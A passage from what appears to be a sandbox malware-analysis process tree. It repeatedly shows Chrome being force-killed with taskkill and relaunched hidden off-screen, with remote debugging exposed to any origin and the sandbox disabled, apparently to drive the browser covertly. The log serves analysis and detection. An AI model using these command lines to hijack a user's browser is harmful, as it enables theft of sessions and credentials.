        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffff67bc728,0x7ffff67bc734,0x7ffff67bc740
        5⤵
        
        PID:1720
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1600,i,6855813411175963320,377162674299131240,262144 --field-trial-handle=1960,i,9347213050791787450,660784926499171640,262144 --variations-seed-version --mojo-platform-channel-handle=1956 /prefetch:2
        5⤵
        
        PID:5616
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1452,i,472281605568074158,4053131326492846626,524288 --field-trial-handle=1960,i,9347213050791787450,660784926499171640,262144 --variations-seed-version --mojo-platform-channel-handle=1972 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:5772
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2088,i,1181780105432178347,6531470400072576732,524288 --field-trial-handle=1960,i,9347213050791787450,660784926499171640,262144 --variations-seed-version --mojo-platform-channel-handle=2196 /prefetch:13
        5⤵
        
        PID:6160
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2900,i,489150155189772562,12322982317030868278,2097152 --field-trial-handle=1960,i,9347213050791787450,660784926499171640,262144 --variations-seed-version --mojo-platform-channel-handle=2944 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:6896
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2904,i,1107836185626640837,3282253953649579287,2097152 --field-trial-handle=1960,i,9347213050791787450,660784926499171640,262144 --variations-seed-version --mojo-platform-channel-handle=2956 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:1460
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4144,i,4027343495579193026,16016701429287696746,524288 --field-trial-handle=1960,i,9347213050791787450,660784926499171640,262144 --variations-seed-version --mojo-platform-channel-handle=4156 /prefetch:14
        5⤵
        
        PID:5108
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4240,i,12853385570358000779,11347643610256019061,2097152 --field-trial-handle=1960,i,9347213050791787450,660784926499171640,262144 --variations-seed-version --mojo-platform-channel-handle=4224 /prefetch:1
        5⤵
        
        PID:2584
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:4584
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:6496
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffff67bc728,0x7ffff67bc734,0x7ffff67bc740
        5⤵
        
        PID:6792
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:6992
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:5772
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffff67bc728,0x7ffff67bc734,0x7ffff67bc740
        5⤵
        
        PID:6344
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1596,i,5021863503139897688,17546036742043825411,262144 --field-trial-handle=2356,i,13838691832220720329,8457278191788376603,262144 --variations-seed-version --mojo-platform-channel-handle=2352 /prefetch:2
        5⤵
        
        PID:1148
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1440,i,16946610803653389932,9479115193115697070,524288 --field-trial-handle=2356,i,13838691832220720329,8457278191788376603,262144 --variations-seed-version --mojo-platform-channel-handle=2268 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:1376
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1932,i,18290354299155479869,262122739121854609,524288 --field-trial-handle=2356,i,13838691832220720329,8457278191788376603,262144 --variations-seed-version --mojo-platform-channel-handle=2424 /prefetch:13
        5⤵
        
        PID:2860
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2816,i,8222777730432701530,15383938891216627997,2097152 --field-trial-handle=2356,i,13838691832220720329,8457278191788376603,262144 --variations-seed-version --mojo-platform-channel-handle=2836 /prefetch:1
        5⤵
        
        PID:3688
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2828,i,5588122176425961607,10721791336800907752,2097152 --field-trial-handle=2356,i,13838691832220720329,8457278191788376603,262144 --variations-seed-version --mojo-platform-channel-handle=2872 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:2984
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4140,i,1552946956155818260,4572694770069557845,524288 --field-trial-handle=2356,i,13838691832220720329,8457278191788376603,262144 --variations-seed-version --mojo-platform-channel-handle=4152 /prefetch:14
        5⤵
        
        PID:1900
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:412
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:6772
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffff67bc728,0x7ffff67bc734,0x7ffff67bc740
        5⤵
        
        PID:1264
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:4580
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:2800
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ff80808c728,0x7ff80808c734,0x7ff80808c740
        5⤵
        
        PID:2456
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1596,i,5265794152722587291,13019783716146027382,262144 --field-trial-handle=2440,i,7054820516840259183,11118841057823111077,262144 --variations-seed-version --mojo-platform-channel-handle=2436 /prefetch:2
        5⤵
        
        PID:2460
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1680,i,4052174624155723438,16656818078265805604,524288 --field-trial-handle=2440,i,7054820516840259183,11118841057823111077,262144 --variations-seed-version --mojo-platform-channel-handle=2360 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:4552
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1976,i,9486291275940377040,1860195094906046993,524288 --field-trial-handle=2440,i,7054820516840259183,11118841057823111077,262144 --variations-seed-version --mojo-platform-channel-handle=2540 /prefetch:13
        5⤵
        
        PID:6648
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2892,i,7362658409296374812,833847399141646191,2097152 --field-trial-handle=2440,i,7054820516840259183,11118841057823111077,262144 --variations-seed-version --mojo-platform-channel-handle=2912 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:3996
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2896,i,15152815715122720253,12506433776661687666,2097152 --field-trial-handle=2440,i,7054820516840259183,11118841057823111077,262144 --variations-seed-version --mojo-platform-channel-handle=2932 /prefetch:1
        5⤵
        
        PID:3420
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4064,i,12481343351206601373,1560071273457988904,524288 --field-trial-handle=2440,i,7054820516840259183,11118841057823111077,262144 --variations-seed-version --mojo-platform-channel-handle=4076 /prefetch:14
        5⤵
        
        PID:4580
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:1764
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      PID:4356
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ff80808c728,0x7ff80808c734,0x7ff80808c740
        5⤵
        
        PID:6100
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:6348
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      PID:4724
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0xa4,0x134,0x7ff80808c728,0x7ff80808c734,0x7ff80808c740
        5⤵
        
        PID:724
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1608,i,4229355976076248448,9571885467938284589,262144 --field-trial-handle=2000,i,6107566523695860953,16931532142237968793,262144 --variations-seed-version --mojo-platform-channel-handle=1996 /prefetch:2
        5⤵
        
        PID:6744
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1448,i,8612574495172320239,14157146452186398651,524288 --field-trial-handle=2000,i,6107566523695860953,16931532142237968793,262144 --variations-seed-version --mojo-platform-channel-handle=2364 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:268
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2088,i,16778082400482739032,5276148607035718401,524288 --field-trial-handle=2000,i,6107566523695860953,16931532142237968793,262144 --variations-seed-version --mojo-platform-channel-handle=2524 /prefetch:13
        5⤵
        
        PID:6668
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2900,i,6388266963326555498,11865233449971325920,2097152 --field-trial-handle=2000,i,6107566523695860953,16931532142237968793,262144 --variations-seed-version --mojo-platform-channel-handle=2908 /prefetch:1
        5⤵
        
        PID:6404
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2904,i,2691081621506087798,3076377798626312116,2097152 --field-trial-handle=2000,i,6107566523695860953,16931532142237968793,262144 --variations-seed-version --mojo-platform-channel-handle=2912 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5184
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4108,i,1693900587850218513,6514627169141596252,524288 --field-trial-handle=2000,i,6107566523695860953,16931532142237968793,262144 --variations-seed-version --mojo-platform-channel-handle=4120 /prefetch:14
        5⤵
        
        PID:576
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:1648
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:7156
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff80808c728,0x7ff80808c734,0x7ff80808c740
        5⤵
        
        PID:6436
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:2812
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:6548
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ff80808c728,0x7ff80808c734,0x7ff80808c740
        5⤵
        
        PID:4004
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:5716
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:6916
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ff80808c728,0x7ff80808c734,0x7ff80808c740
        5⤵
        
        PID:6784
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1604,i,13314895377721094168,4114676153272750469,262144 --field-trial-handle=2020,i,10777563371160968717,10606776154098051765,262144 --variations-seed-version --mojo-platform-channel-handle=2016 /prefetch:2
        5⤵
        
        PID:7100
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1772,i,9581863741020228865,14562841675893921845,524288 --field-trial-handle=2020,i,10777563371160968717,10606776154098051765,262144 --variations-seed-version --mojo-platform-channel-handle=2488 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:2460
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2072,i,16061891759212250294,18314247076460119443,524288 --field-trial-handle=2020,i,10777563371160968717,10606776154098051765,262144 --variations-seed-version --mojo-platform-channel-handle=2516 /prefetch:13
        5⤵
        
        PID:3428
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2900,i,13327978139729877316,12916469076210605013,2097152 --field-trial-handle=2020,i,10777563371160968717,10606776154098051765,262144 --variations-seed-version --mojo-platform-channel-handle=2960 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5716
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2904,i,6196104023854504782,16404297437562954669,2097152 --field-trial-handle=2020,i,10777563371160968717,10606776154098051765,262144 --variations-seed-version --mojo-platform-channel-handle=2964 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:1348
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4140,i,11647645288764005117,14195161297410586159,524288 --field-trial-handle=2020,i,10777563371160968717,10606776154098051765,262144 --variations-seed-version --mojo-platform-channel-handle=4132 /prefetch:14
        5⤵
        
        PID:7332
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:7504
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:7632
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
